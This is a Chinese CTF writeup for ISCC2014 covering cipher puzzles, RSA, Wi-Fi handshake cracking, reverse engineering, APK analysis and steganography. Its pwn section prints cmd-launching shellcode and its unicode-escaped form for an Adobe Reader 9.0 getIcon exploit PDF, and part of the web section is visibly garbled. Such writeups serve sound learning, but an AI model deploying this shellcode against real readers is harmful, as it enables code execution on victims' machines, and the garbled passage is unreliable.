0313-ISCC2014 writeup

# ISCC2014 writeup

算上今年4月份的360 Hackergame通关战,这是我第二次参加CTF比赛,现将比赛过程的一些思路和想法记录下来,同时也感谢诸多大神的指教。

0x01 Basic孙子教学
==============

* * *

兵者诡道
—-

* * *

第一关没啥好说的,F12一下,在response header里能找到Key

![enter image description here](http://drops.javaweb.org/uploads/images/3172527903013fa398b5a9d4e68c5da6e7263d66.jpg)

Flag:`Welcome-to-ISCC`

知己知彼
—-

* * *

![enter image description here](http://drops.javaweb.org/uploads/images/3c399e69872adeba299725e0b0c6afb57ff92396.jpg)

45对应ASCII“-”,42对应“*”,变成了`– *– –* –* * *-* *–`,恰好是Morse密码,解密得到mwggerw,Caesar解密一下得到isccans,即Flag。开始一直没想到Caesar,直到看到两个g连在一起,比赛的名字又有两个c,才联想到的。

Flag:isccans。

正则指令
—-

* * *

![enter image description here](http://drops.javaweb.org/uploads/images/3ebadf6b5f2c7e26e342ab7b46fa8a4bc9a39a9b.jpg)

w{3}=www,目测是个网址,然后[xyz]表示一个xyz之一起始的域名,做这题的时候我恰好翻过墙,然后看到后面的watch和list想到了是youtube.com,翻墙进入页面:www.youtube.com/watch?v=5x1vNTjbwcs&list=PL3ZQ5CpNulQm1cXMJ5M6tX3O5vyXnCYFd,视频标题即Flag。

![enter image description here](http://drops.javaweb.org/uploads/images/28fe65df4dc189b5575090ea19b37017225ac36e.jpg)

Flag:`Chile hit by an 8.2 magnitude earthquake`

搜索情报
—-

* * *

![enter image description here](http://drops.javaweb.org/uploads/images/57edc70fcec8a894e05e1e615828b6cf9ca60ad7.jpg)

这题坑死了,开始一直以为是HEASLR,怎么输都不对……,后来经人提醒看图标才发现 这个logo,这个PE工具我电脑里有却一直没想到。 Flag:`CFF Explorer`

指令暗战
—-

* * *

“`
MOV AX,CS
MOV DS,AX
MOV ES,AX
MOV CX,0020H
MOV DX,1004H
MOV BX,000CH
MOV AX,2300H

“`

使用汇编转换成机器码的软件:AsmToHex

![enter image description here](http://drops.javaweb.org/uploads/images/096d2a4a263b4b2cb50248449464c3342531abb8.jpg)

Flag:`8CC88ED88EC0B92000BA0410BB0C00B80023`

巧入敌营
—-

* * *

F12打开,将表单提交方式由get改成post,然后输入任意值提交即可。

![enter image description here](http://drops.javaweb.org/uploads/images/2e190e4de98eb7422462515ea305e948045e8921.jpg)

Flag:`4qrPccxPe9`

知兵之将
—-

* * *

下载附件,得到password.out,用WinHex打开,文件头为7F 45 4C 46,用这个网站:http://www.garykessler.net/library/file_sigs.html查到是一个Linux下的可执行文件。

![enter image description here](http://drops.javaweb.org/uploads/images/0094243dfca8a0bef5ccaafaff84a5255608d1b5.jpg)

用IDA加载,文件中有一段很惹眼的字符串:

![enter image description here](http://drops.javaweb.org/uploads/images/ac01cb79699017215493f8d06aaa134d77a1f0c7.jpg)

提交发现就是Flag。 Flag:`abc456_09876tiyouare`

虚实密文
—-

* * *

下载附件,得到一张PNG图,用二进制打开,没发现什么端倪,看来Flag在图片内容里面。打开发现是两种字体一正一斜写成一句话:

![enter image description here](http://drops.javaweb.org/uploads/images/1a498b2fb6c0937f418e3d1bfd81f25ebd1065e7.jpg)

开始想的是把正斜体分开来处理,未果。经人提醒是培根密码,又学到一招,之前不知道这个。将密文5个一分组,a代表正体,b代表斜体得到:

“`
aabab baaaa aabaa aabaa aaabb abbab ababb

“`

查密码表得到freedom,用的是培根密码百度百科的第二种方式的密码表。

![enter image description here](http://drops.javaweb.org/uploads/images/36fc5ac773fa5c9ff86cd241ee8f560a5e2b3410.jpg)

Flag:`freedom`

经之五事索其情
——-

* * *

RSA算法加密,密文是981,w = 13,n = 2537,求明文P

题目中的“分解式的一个因子是43”完全没有必要告知。

`n=2537=43*59=p*q,φ(n)=(p-1)*(q-1)=42*58=2436,e=w=13,C=981`

需要找到d使得d*e=1(modφ(n)),用一个我写的小工具得到d=937

![enter image description here](http://drops.javaweb.org/uploads/images/9096ac02470e06ae09b9632c5cdfa40af5a37da9.jpg)

于是明文P=C^d(mod n),用python可以很快得出结果:

![enter image description here](http://drops.javaweb.org/uploads/images/5d99fcc70b266a047e8e727796c9556b266c926b.jpg)

Flag:704

趁虚而入
—-

* * *

下载附件,得到handshake.cap,看来是需要通过握手包来跑出密码。使用EWSA(ELcomsoft Wireless Security Auditor)打开cap文件:

![enter image description here](http://drops.javaweb.org/uploads/images/4ec183c6a1b117d215fcdf2c90956b15107bb968.jpg)

选上合适的字典,开始攻击,最后得到结果:

![enter image description here](http://drops.javaweb.org/uploads/images/6362951503b821ee72a36cce0b264a4f4140d792.jpg)

Flag:`zzzzzzzz`

出其不意
—-

* * *

要破WEP密码,首选aircrack-ng,这软件还有windows的GUI版,不过它只认.cap和.pcap格式的文件,需要将附件中的.pkt文件转换成.pcap格式。 开始选择wireshark进行转换,放到aircrack-ng里破解总是提示:

![enter image description here](http://drops.javaweb.org/uploads/images/fc2bc2e65c56642f4f76e104412c1e6402c259ab.jpg)

看来wireshark不太给力,换成OmniPeek来转换,继续aircrack-ng,这下有结果了,aircrack-ng很快就搞定了:

![enter image description here](http://drops.javaweb.org/uploads/images/287826bbbe661ac6dc5689cabb2601079497c3aa.jpg)

WEP的密钥的ASCII值为:`2014IscCwifiY`然后用wireshark或OmniPeek打开.pkt或.pcap文件都行,输入WEP密钥解码数据包。 wireshark:

![enter image description here](http://drops.javaweb.org/uploads/images/86754d1629538e6d9e45bac125b9a3114f3b7a49.jpg)

OmniPeek:

![enter image description here](http://drops.javaweb.org/uploads/images/9557bf1c3e4e65fb7d052aacc140baaeeec238e9.jpg)

在第一个HTTP包里面就能找到登录密码:

![enter image description here](http://drops.javaweb.org/uploads/images/fcdd79ef24dcbf49bcbf4d211ef6df8c119a8ea9.jpg)

![enter image description here](http://drops.javaweb.org/uploads/images/0f98a4118bb205251be8c1278c3a902eabc31709.jpg)

Flag:`Thisiskey`

择人任势
—-

* * *

这是一道陈题,SWPU2012的题,刚参赛的时候,很多题不得要领,于是翻了不少其他CTF的writeup,恰巧就看到了这题。以下是SWPU提供的解答: 用记事本打开,注意末尾的代码:

“`
:execute(replace(replace(strreverse(swpu), Chr(-23646), Chr(34)), “★”, vbCrLf))

“`

显然execute后的括号里是在进行代码解密还原,我们现在需要明文代码,将末尾代码修改为:

“`
Set fso = CreateObject(“scripting.FileSystemObject”)
Set myfile = fso.openTextFile(“code.txt”, 2, True)
myfile.write(replace(replace(strreverse(swpu), Chr(-23646), Chr(34)), “★”, vbCrLf))
Set myfile = Nothing
Set fso = Nothing

“`

修改后保存,然后打开输出文件code.txt,分析代码,发现关键算法如下:

“`
if (len(str)=14) then
for i=0 to 13
if Int(asc(mid(str,14-i,1))+pwda(i))=Int(tbl(i+pwdb(i))) then
x=x+1
else
msgbox err
exit for
end if
next
if x=14 then
msgbox ok
end if
else
msgbox err
end if

“`

首先,输入的文本长度必须为14,接着就是每一位的验证:

“`
Int(asc(mid(str,14-i,1))+pwda(i))=Int(tbl(i+pwdb(i)))

“`

只有满足这个条件的字母,程序才会继续验证下一条,否则就报错,分析一下这句判断,pwda、pwdb、tbl都是常量数组,因此这里只需要进行反向计算即可。 将循环部分的代码改为如下代码:

“`
for i=0 to 13
key = chr(tbl(i+pwdb(i)) – pwda(i))&key ‘验证是倒序的,所以这里也应该倒序
next
msgbox key

“`

再次运行这个VBS,即可得到本题的Flag。

Flag:vB5_5cR1pT.Vb$

庙算多寡,胜负定矣
———

* * *

下载附件,打开是一个加密txt文本的程序。用IDA打开该程序,大致可以看到:

![enter image description here](http://drops.javaweb.org/uploads/images/2f3ee9007e4f076b2b6614dd15809f181c35359d.jpg)

其中sub_401b00:

![enter image description here](http://drops.javaweb.org/uploads/images/6b28182c51b31416aa6813c5a84341b0b75d2c16.jpg)

基本上可以确定是单码代换,我们可以自行构造合适的txt来测试加密过程:

首先取txt内容为:0123456789abcdefghijklmnopqrstuvwxyz。

得到对应的密文为:efghijklmn=========================z。

可以看出0-9依次加密为e-n,a-y的加密结果均为“=”,z加密不变。

再取txt内容为:ABCDEFGHIJKLMNOPQRSTUVWXYZ,

得到对应的密文为:vwxyz{|}~€亗儎厗噲墛媽崕?。

Winhex下查看即知,密文的ASCII码恰为0x76,0x77,…,0x8F,得到ABCDE依次加密为vwxyz。

最后取txt内容为 !”#$%&'()*+,-./

得到对应的密文为!#%’)+-/135,.0

由此我们知道已知密文“+%=keky+%=jjnx”中:

“`
“+”→“&” “%”→“#”
“k”→“6” “e”→“0”
“y”→“D” “j”→“5”
“n”→“9” “x”→“C”

“`

最后还有一项“=”,但是a-y的加密结果均为“=”,由&#我们知道这是Unicode编码方式,“=”应该由16进制标识符x加密而来,从而明文是&#x606D&#x559C,对应的中文汉字就是“恭喜”。

Flag:`&#x606D&#x559C` 

0x02 Web桓公霸业
============

* * *

国君之争
—-

* * *

下载附件,得到crackBynet,用WinHex打开,文件头为7F 45 4C 46,依然是Lunix可执行文件,IDA加载之,翻了一阵有个echo(void)的函数很可疑:

![enter image description here](http://drops.javaweb.org/uploads/images/40b4b561b9a0ade9d6c880da6d7e647cb219b2be.jpg)

有个the password is:心中窃喜,开始一直以为Flag就是那三个字符串的组合,无奈怎么尝试都不正确,还是决定分析函数看运行结果。

“`
std__string__string(&v15, “sdfaer34dfv234523aae3fas”, &v14);

“`

即v15=”sdfaer34dfv234523aae3fas”.

“`
v1 = std__string__at(&v15, 10); v1=v15[10]=’v’,然后cout< 2147483647); // eax > 2147483647时,由于源程序中比较eax和edi之前edi有一步与0xffffffff的异或操作,此时导致edi!=eax,无法通过注册,故需使eax <= 2147483647,此时异或操作对edi没有影响 } ///

/// 注册码简单加密函数
///

///输入的注册码 /// 加密后的注册码
/// 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
/// ↓↑
/// encode↓↑encode
/// ↓↑
/// 5678901234NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm
private string encode(string strTemp)
{
char[] chTemp = strTemp.ToCharArray();
for (int i = 0; i < chTemp.Length; i++) { if (chTemp[i] >= 48 && chTemp[i] <= 57) { chTemp[i] = (char)((chTemp[i] - 43) % 10 + 48); } if (chTemp[i] >= 65 && chTemp[i] <= 90) { chTemp[i] = (char)((chTemp[i] - 52) % 26 + 65); } if (chTemp[i] >= 97 && chTemp[i] <= 122) { chTemp[i] = (char)((chTemp[i] - 84) % 26 + 97); } } string result = new string(chTemp); return result; } ///

/// 对输入的21位注册码+64位常量字符串+注册名进行混淆
///

/// ///
private string confound(string strTemp)
{
int eax = 0, edi, ebx, edx = 0;
do
{
edi = strTemp[eax];
ebx = edx;
ebx = ebx << 5; ebx = ebx - edx; edi += ebx; eax++; edx = edi; } while (eax < strTemp.Length); return Convert.ToString(edi, 16); } } } ``` 何去何从 ---- * * * IDA打开附近中的exe程序,注意到sub_401000和sub_40104F函数: ![enter image description here](http://drops.javaweb.org/uploads/images/bb21e991f2bcc0e49c3383a08140afbf510433ab.jpg) ![enter image description here](http://drops.javaweb.org/uploads/images/93a2e51a931c0cc025b9f245f4bcea3d2d032764.jpg) 其中off_409030是一段字符串: ![enter image description here](http://drops.javaweb.org/uploads/images/09471d4454e0f70f2016840e31d9e9b84ab6a34b.jpg) 伪代码比较明显,直接拿到浏览器控制台计算,既然模100和模99,故只需要取字符串的前100位。 ![enter image description here](http://drops.javaweb.org/uploads/images/437f2e9a47f91d353e713259f4d969301cc96a93.jpg) b提交就是Flag。 Flag:`(3q&vf2vw%f7Vj9Ookj` 宝藏探秘 ---- * * * 这个研究了几天,一直没搞定,我是在XP虚拟机里弄的,因为要结合IDA看程序,而我的64位IDA没有F5功能,只能用32位的IDA,相应的OD加载程序也在32位机子上比较好。后来大神提示OD跑完就行了,而我用OD从头跑到尾也没有太大收获。不知道是不是XP的原因,首先源程序在win7下可以正常运行,在XP下直接就弹出对话框了: ![enter image description here](http://drops.javaweb.org/uploads/images/09f0c16e5d77f5c5f6e6f5740bb0b1f285b6a26c.jpg) 这个我通过nop掉判断windows版本的地方解决了。当大神告知Key后,却发现win7和XP居然还不一样: ![enter image description here](http://drops.javaweb.org/uploads/images/5d43cf3d91cce40a629953b1958c119fdb4c54b9.jpg) ![enter image description here](http://drops.javaweb.org/uploads/images/0d71868176ab5d98821b1ca5ec043aab707e320a.jpg) 我只能说无语啊…… Flag:`e41cf485e2a0e8707ff8fc0291f55cec` 勤王周室 ---- * * * 附件中的exe可以用压缩软件打开,解压得到一个0字节的文件,文件名我不是传说中的密码,暂时不知道有啥用。 ![enter image description here](http://drops.javaweb.org/uploads/images/b5437f6df2d3c3badd2b1854dfc5c809c85c3f0d.jpg) exe还可以用7z打开,可以在里面找到一个132.bmp和exe的icon文件。132.bmp打开如图: ![enter image description here](http://drops.javaweb.org/uploads/images/a6f276d3808e914b629c96d2cf216d2f28062cd5.jpg) 与exe的icon相差较大。在132.bmp的底部可以找到压缩的rar部分: ![enter image description here](http://drops.javaweb.org/uploads/images/2cb4789abb25f2ddd31757bd4518d21583284a77.jpg) 修改132.bmp的第11字节9E为36,再打开: ![enter image description here](http://drops.javaweb.org/uploads/images/07c485c05c4f272a3d526035c32ba0ad8835d61c.jpg) 可以发现和icon的图一样了,除此得不出什么有用的信息了。 OD加载exe,单步运行到sub_401100函数时,有一个执行0x300E次的循环,该循环将内存中从0040F1C0开始的部分,变成132.bmp的内容: ![enter image description here](http://drops.javaweb.org/uploads/images/8a7f686bafb026866c925733301741585465cbc1.jpg) 循环之后,修改至0040B1F7: ![enter image description here](http://drops.javaweb.org/uploads/images/b887d75874b98faf9fdc53c00977bf40face223c.jpg) 0041B1F6和0041B1F7,变成了”Ra”的ASCII码,似乎是rar文件的文件头,于是想到把循环次数增加,让程序把后面部分也修改。继续往下翻,这一部分非0的内存直到41B6C3结束。 ![enter image description here](http://drops.javaweb.org/uploads/images/75e0f2dc02b81295865bf68f107a4906f994e952.jpg) 需要循环一共执行`(0x41B6C3-0x41B1F7)/4+0x300E=0x3141`次,从而在进入循环之前直接将寄存器EAX中的300E修改为3141。 ![enter image description here](http://drops.javaweb.org/uploads/images/30ad9c5f70acf0a8c9cd4453b8f2567ad7832f7b.jpg) 循环结束刚好是rar文件的文件尾。将0x41B1F6-0x41B6C3部分复制出来,得到一个rar文件,打开后里面有个key.png,但是rar加了密。 ![enter image description here](http://drops.javaweb.org/uploads/images/b328d54eac41b4099453c1789a5de29b6dabd0cc.jpg) 拿出最开始得到的密码:我不是传说中的密码,得到Key: ``` Key: C6ua3izS2ze9Wetx ``` Flag:`C6ua3izS2ze9Wetx` 退避三舍 ---- * * * 这个我一直没搞定程序里的反调试,用了52Pojie的破解版OD也不行。F9一下,就变成终止了,期待大神指导。Key是大神提供的: ![enter image description here](http://drops.javaweb.org/uploads/images/93f1aa19ae7cbf3e3146606fa989215dd307309a.jpg) Flag:`MD5_is_easy+C9841-4FF72-14430-D82EF-B6AC2`  0x04 Pwn楚王问鼎 ============ * * * Pwn部分我确实不会,之前也没弄过,唯一弄出的一个代码什么的都是别人的。 镇压叛乱 ---- * * * 百度搜索Adobe Reader 9.0漏洞,发现下面2个页面, 【原创】CVE-2009-0027调试笔记: http://bbs.pediy.com/showthread.php?t=98139 【原创】完整剖析Acrobat Reader - Collab getIcon universal exploiter之路 http://hi.baidu.com/snowdbg/item/e788c12aeffa49866e2cc39b 其中还提供了POC文件,该POC中嵌入了能够执行的Javascript代码,通过doc.Collab.getIcon函数触发漏洞,如图 ![enter image description here](http://drops.javaweb.org/uploads/images/f5f07fab02e12bb0137c641ddcabc6792956b937.jpg) ![enter image description here](http://drops.javaweb.org/uploads/images/7ddeaf5b5d9c968edf9340de679664cf8bfb58f0.jpg) 下面只需要将弹出msgbox的shellcode修改为弹出cmd命令行的shellcode,继续搜索cmd shellcode, shellcode启动CMD http://blog.sina.com.cn/s/blog_7cb57750010137y4.html 将其中的shellcode ``` char shellcode[]= //打开CMD的shellcode "\x55" //push ebp "\x8B\xEC" //mov ebp, esp "\x33\xC0" //xor eax, eax "\x50" //push eax "\x50" //push eax "\x50" //push eax "\xC6\x45\xF5\x6D" //mov byte ptr[ebp-0Bh], 6Dh "\xC6\x45\xF6\x73" //mov byte ptr[ebp-0Ah], 73h "\xC6\x45\xF7\x76" //mov byte ptr[ebp-09h], 76h "\xC6\x45\xF8\x63" //mov byte ptr[ebp-08h], 63h "\xC6\x45\xF9\x72" //mov byte ptr[ebp-07h], 72h "\xC6\x45\xFA\x74" //mov byte ptr[ebp-06h], 74h "\xC6\x45\xFB\x2E" //mov byte ptr[ebp-05h], 2Eh "\xC6\x45\xFC\x64" //mov byte ptr[ebp-04h], 64h "\xC6\x45\xFD\x6C" //mov byte ptr[ebp-03h], 6Ch "\xC6\x45\xFE\x6C" //mov byte ptr[ebp-02h], 6Ch "\x8D\x45\xF5" //lea eax, [ebp-0Bh] "\x50" //push eax "\xBA\x7B\x1D\x80\x7C" //mov edx, 0x7C801D7Bh "\xFF\xD2" //call edx "\x83\xC4\x0C" //add esp, 0Ch "\x8B\xEC" //mov ebp, esp "\x33\xC0" //xor eax, eax "\x50" //push eax "\x50" //push eax "\x50" //push eax "\xC6\x45\xFC\x63" //mov byte ptr[ebp-04h], 63h "\xC6\x45\xFD\x6D" //mov byte ptr[ebp-03h], 6Dh "\xC6\x45\xFE\x64" //mov byte ptr[ebp-02h], 64h "\x8D\x45\xFC" //lea eax, [ebp-04h] "\x50" //push eax "\xB8\xC7\x93\xBF\x77" //mov edx, 0x77BF93C7h "\xFF\xD0" //call edx "\x83\xC4\x10" //add esp, 10h "\x5D" //pop ebp "\x6A\x00" //push 0 "\xB8\xc7\x93\xbf\x77" //mov eax, 0x7c81cb12 "\xFF\xD0"; //call eax ``` 转化为unicode编码就行,得到shellcode ``` %u8b55%u33ec%u50c0%u5050%u45c6%u6df5%u45c6%u73f6%u45c6%u76f7%u45c6%u63f8%u45c6%u72f9%u45c6%u74fa%u45c6%u2efb%u45c6%u64fc%u45c6%u6cfd%u45c6%u6cfe%u458d%u50f5%u7bba%u801d%uff7c%u83d2%u0cc4%uec8b%uc033%u5050%uc650%ufc45%uc663%ufd45%uc66d%ufe45%u8d64%ufc45%ub850%u93c7%u77bf%ud0ff%uc483%u5d10%u006a%u12b8%u81cb%uff7c%u90d0 ``` 最后一个需要添加nop对应的90   0x05 Misc穆公崛起 ============= * * * 广纳谏言 ---- * * * 下载附件,附件名提示此为gif图片,但是却无法打开,需要修复gif图片。Winhex打开图片,查看文件头: ![enter image description here](http://drops.javaweb.org/uploads/images/be9c3dc75153e2f67b428dafd0b6269b86e64d90.jpg) 与正常的gif文件头: ![enter image description here](http://drops.javaweb.org/uploads/images/1766ecfc3383f36e5393821b2f07c6e64cd82eb3.jpg) 相比少了47 49 46 38四个字节,补全后打开得到一gif动图。由于动图动画很快,需要逐祯查看。 通过http://www.360doc.com/content/13/0314/18/699582_271506280.shtml得到: ![enter image description here](http://drops.javaweb.org/uploads/images/de73aa7c6cb619234f61e34bd3eb669161861d0e.jpg) ``` Y2F0Y2hfdGhlX2R5bmFtaWNfZmxhZ19pc19xdWl0ZV9zaW1wbGU= ``` Base64解码得到Key。 Flag:`catch_the_dynamic_flag_is_quite_simple` 歌中玄机 ---- * * * 下载附件根据提示要求用matlab提取出右声道的前0-1248位。 Matlab代码如下: ``` >> [y,Fs,bits]=wavread(‘target.wav’,1248);%读入文件0-1248的数据
>> y_right=y(:,2);%读右声道
>> wavwrite(y_right,Fs,bits,’1248.wav’);%写入新文件

“`

1248.wav内容如图:

![enter image description here](http://drops.javaweb.org/uploads/images/e147c739bbb3bdf01567167ebdc3d4f9d531f857.jpg)

1248.wav共计2540字节,去掉前2540-1248*2=44字节。对剩下2496字节中的01,将之替换成1,00替换成0,每16字节对应成一个8位的2进制串,再转成相应的字符。 参考代码(C#):

“`
string inputFile = “E:\\1248.wav”;
string outputFile = “E:\\156.txt”;
FileStream inputFS = new FileStream(inputFile, FileMode.Open, FileAccess.Read);
FileStream outputFS = new FileStream(outputFile, FileMode.Append, FileAccess.Write);
BinaryReader br = new BinaryReader(inputFS);
StreamWriter sw = new StreamWriter(outputFS);

int length = (int)inputFS.Length;
byte[] buffer = new byte[length];
inputFS.Read(buffer, 0, buffer.Length);

int n = length / 16;
for (int i = 0; i < n; i++) { string ch = ""; for (int j = 0; j < 16; j += 2) { if (buffer[j + i * 16] == 0x01) ch += "1"; if (buffer[j + i * 16] == 0x00) ch += "0"; } sw.Write((char)Convert.ToInt32(ch,2)); } br.Close(); sw.Close(); inputFS.Close(); outputFS.Close(); ``` 运行结果156.txt: ![enter image description here](http://drops.javaweb.org/uploads/images/48c0223ad2637ed4e5531afc4b76637efd33e382.jpg) Carser一下,即能看到Flag。 ![enter image description here](http://drops.javaweb.org/uploads/images/f066ec86a9e50af8405ff5594e99eee907667a34.jpg) Flag:`Jerusalembellsareringing` 秦晋之好 ---- * * * 打开附件图片,放大后在lena背上隐约能看到一个字母P,Flag应该就写在图片上,需要对图片进行锐化。Matlab锐化代码如下: ``` >> ima=imread(‘ifs.bmp’);%读入图像
>> if isrgb(ima)
ima=rgb2gray(ima);%如果是彩色图像,则转为灰度图像
end
>> ima=double(ima);
>> h=fspecial(‘laplacian’);%laplacian算子锐化
>> bw = imfilter(ima,h);
>> imwrite(uint8(bw),’ifs1.bmp’);%写入文件

“`

得到ifs1.bmp:

![enter image description here](http://drops.javaweb.org/uploads/images/9e63bfc11f6f2f33d1c3e70f68358cf74b062980.jpg)

已经隐约能看到Flag了,对ifs1.bmp再进行如上的操作,每次将上一次的结果做同样处理,累计进行四次能看到清晰的Flag。

![enter image description here](http://drops.javaweb.org/uploads/images/acaae2987a1afa0d9618b2eb46feb610266fae89.jpg)

![enter image description here](http://drops.javaweb.org/uploads/images/c223b8f3dce74939f2ea7b53e7bb70cfd10abe32.jpg)

![enter image description here](http://drops.javaweb.org/uploads/images/47e8bd8391c4225dcd591436a3960404505167a8.jpg)

Flag:`At10ISCC421ZLAPL`

穆公亡马
—-

* * *

解压附件得到capture.log,用wireshark打开文件。扫描之前需要ping目标主机,以确保一下机器是存活的,从而目标转为寻找第五次的ping包。Ping包是ICMP 协议,但是这里我不明白为什么第五次扫描的ICMP包是192.168.0.1那个。

![enter image description here](http://drops.javaweb.org/uploads/images/668890b071c54369de508bafa8121168d246a1f9.jpg)

Flag:`1602.084879`

秦人卧底
—-

* * *

下载附件得到一个apk和一个加密的日志文件,用Gapktool反编译apk。

![enter image description here](http://drops.javaweb.org/uploads/images/01be4ddee0dd5b0a1dabdfe82febf4b25db6ce45.jpg)

这里使用Gapktool得到的res文件夹中values文件夹内容不全,我用了另一个反编译工具再编译了一次,得到了比较完整的values文件夹。 查看反编译得到的代码:com.iscc.lockednote.MainActivity.java

![enter image description here](http://drops.javaweb.org/uploads/images/7902f83e704be5fa903463ab02a37a4d3e1c2390.jpg)

可以看出密码有两层,第1层密码的值为mConstant.a(),第2层密码的值为mConstant.b()。 这是mConstant的定义:

![enter image description here](http://drops.javaweb.org/uploads/images/c469dc2a011940b0dca08ad5cc9f871a8966f06e.jpg)

查看com.iscc.local.a.java,我们需要得到a()和b()的返回值。先看a.():

![enter image description here](http://drops.javaweb.org/uploads/images/b8546a515d643a56be96827d3129a027ea0673df.jpg)

`sb = a.t()+a.g()+a.a()+a.o()`,这里的a的定义是private b a; a是一个b类,具体定义在com.iscc.local.b.java中,到b.java中查看,先把a.t()放到一边,暂时先看a.g():

![enter image description here](http://drops.javaweb.org/uploads/images/5856f553b776edb8a38aeb12af06c438e685ffb4.jpg)

a.g()返回某个叫0x7f05000d的东西的文本值,到res文件夹找找: public.xml:

![enter image description here](http://drops.javaweb.org/uploads/images/7cb472b9401165282bddcb72d7fd58993236dc19.jpg)

原来是`id=”0x7f05000d”`,其`name=”h”`,还不是我们要的文本值,继续查找`name=”h”`的东西,`strings.xml`:

![enter image description here](http://drops.javaweb.org/uploads/images/7716949c359346fc58ab2b9efe4b26be70ab18ed.jpg)

`name=”h”`,对应的文本值也是h,这样`a.g()=”h”`。 同样的我们可以得到其他一些函数的返回值,具体如下:

“`
a.a()=”a” a.b()=”b” a.c()=”e” a.d()=”c” a.e()=”d” a.f()=”g” a.g()=”h”
a.h()=”f” a.i()=”l” a.j()=”i” a.k()=”k” a.l()=”n” a.m()=”o” a.n()=”s”
a.o()=”t” a.p()=”r” a.q()=”u” a.r()=”y” a.s()=”z”

“`

从而依据mConstant.a()的定义,我们有:

“`
sb=a.t()+”hat”
sb1= sb+b.u()+”bad”= a.t()+”hat”+ b.u()+”bad”
s=sb1+b.u()=a.t()+”hat”+ b.u()+”bad”+b.u()
sb2=”luck”
s1=sb2+b.u()+”recently”=”luck”+b.u()+”recently”
a()=s+s1=a.t()+”hat”+ b.u()+”bad”+b.u()+”luck”+b.u()+”recently”

“`

下面来看a.t()和b.u(),到b.java里面查看定义:

“`
a.t(){return b;} b.u(){return a;} b.v(){return c;}

“`

这里的返回值a b c的定义是:

![enter image description here](http://drops.javaweb.org/uploads/images/1dbf1f70cc3b8b566eb612df418bb7bfee4d61bd.jpg)

都被初始化为” ”,似乎`a.t()=b.u()=b.v()=” ”`,但是`“ hat bad luck recentl”`拿到手机上输入却提示密码错误,还有问题,仔细再看看代码,原来在MainActivity.java中字符串变量a和b的值被重新赋值了:

![enter image description here](http://drops.javaweb.org/uploads/images/3269705bbb06aa43b587c1f83dc95cb5538fac16.jpg)

在public.xml中可以查到`id=”0x7f070001”`和`”0x7f070002”`对应的name分别是:

![enter image description here](http://drops.javaweb.org/uploads/images/60dcc097c15822ccd898aa596bbbdd64d6a74cfd.jpg)

在/layout/activity_main.xml下可以看到:

![enter image description here](http://drops.javaweb.org/uploads/images/3d9cb2f1f23f950b7800480ccae4b9354325d722.jpg)

再到strings.xml中得到`w→”w”,d8→”_”`,从而变量a和b被重新赋值为”w”和”_”,变量c没有重新赋值,保持初始化的值” ”。 从而我们得到`a()=”what_bad_luck_recently”`,这就是第一层密码。第二层密码就简单多了,注意到`b.v(){return c;}=” ”`。

![enter image description here](http://drops.javaweb.org/uploads/images/55ebaab9181c2c75119a60998f423baf4fcecc3b.jpg)

很容易得到`b()=”it is best not to do anything when you feel like crazy”`,提交第二层密码就是Flag。 Flag:`it is best not to do anything when you feel like crazy`

秦国未来
—-

* * *

粗看密文,发现每三位的数字基本上都是在100-255之间,不是三位的有58,97,98,故在这三个数前面各添加1个0,得到`058128178205200226193178205200198197213225209168156150134117098097101177`,密文的长度也从69变成了72,刚好也是8的倍数。转成16进制得到`3a80b2cdc8e2c1b2cdc8c6c5d5e1d1a89c968675626165b1`,看不出是个什么东西,拿到解密网站去解也没啥用。故转向附件中的Linux可执行文件,IDA打开,在sub_821C函数中分析得出密文[i]=明文[i]+明文[i-1]。拿到浏览器控制台计算:

![enter image description here](http://drops.javaweb.org/uploads/images/677d46a4469cbe7f30d9fae8e71d22216630306e.jpg)

Flag:`Flag_for_ISCC2014`

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容